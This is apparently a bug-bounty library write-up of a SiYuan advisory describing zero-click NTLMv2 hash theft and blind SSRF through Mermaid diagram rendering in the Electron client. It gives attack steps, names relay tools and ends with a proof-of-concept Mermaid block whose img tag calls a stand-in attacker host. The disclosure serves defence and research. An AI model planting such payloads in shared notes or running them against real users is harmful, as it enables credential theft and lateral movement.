# SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering

SiYuan's Mermaid config allows img tags in SVG injected via innerHTML; Electron fetches protocol-relative URLs, leaking NTLMv2 hashes on Windows.

- Payout: Research
- Severity: high
- Program: SiYuan
- Found by: kodareef5
- Disclosed: 2026-04-10
- CVE: CVE-2026-40107
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w95v-4h65-j455
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-w95v-4h65-j455
- Tags: area:os domain:desktop impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:electron technique:source-review vuln:info-disclosure vuln:ssrf

**Target:** Electron desktop client Mermaid diagram renderer
**Root cause:** Mermaid initialized with securityLevel "loose" and htmlLabels true lets `<img src>` survive sanitization into SVG foreignObject, which is injected via innerHTML without secondary sanitization; Electron's disabled web security resolves protocol-relative URLs as UNC paths.
**Steps:**
1. Attacker creates a note or .sy export with a mermaid block: `graph TD\n A["<img src='//attacker.com/share/img.png'>"] --> B[Normal Node]`
2. Attacker hosts a listener (Responder, ntlmrelayx, HTTP logger) on attacker.com
3. Victim imports the notebook or opens the shared note
4. SiYuan renders the diagram and injects the SVG via `renderElement.lastElementChild.innerHTML = mermaidData.svg`
5. Electron fetches `//attacker.com/share/img.png`; on Windows this resolves as UNC path `\\attacker.com\image.png` and sends NTLMv2 hash
**How found:** Code review of Mermaid initialization (securityLevel loose, htmlLabels true) and the unsanitized innerHTML sink at mermaidRender.ts:101; verified via Mermaid CLI 11.12.0 which sanitizer attributes were stripped (onerror, onload, script, file://) versus what survived (img src http and protocol-relative).
**Exploitation:** Zero-click: victim merely views the note. On Windows the UNC resolution triggers automatic SMB auth, sending NTLMv2 hash to attacker for offline cracking or relay. On macOS/Linux it becomes an HTTP request leaking victim IP and read confirmation (tracking pixel / blind SSRF).
**Escalation:** NTLMv2 hashes can be cracked offline or relayed to other services for lateral movement/impersonation.
**Insight:** When a renderer uses a permissive sanitizer mode, enumerate exactly which tags/attributes survive by running the same library version locally rather than assuming sanitization is complete; protocol-relative URLs are the key bypass for Electron apps with webSecurity disabled since they become UNC paths on Windows.

## Proof of concept (copied exactly from the original report)

**Mermaid block with img src protocol-relative URL**

```
graph TD
        A["<img src='//attacker.com/share/img.png'>"] --> B[Normal Node]
```

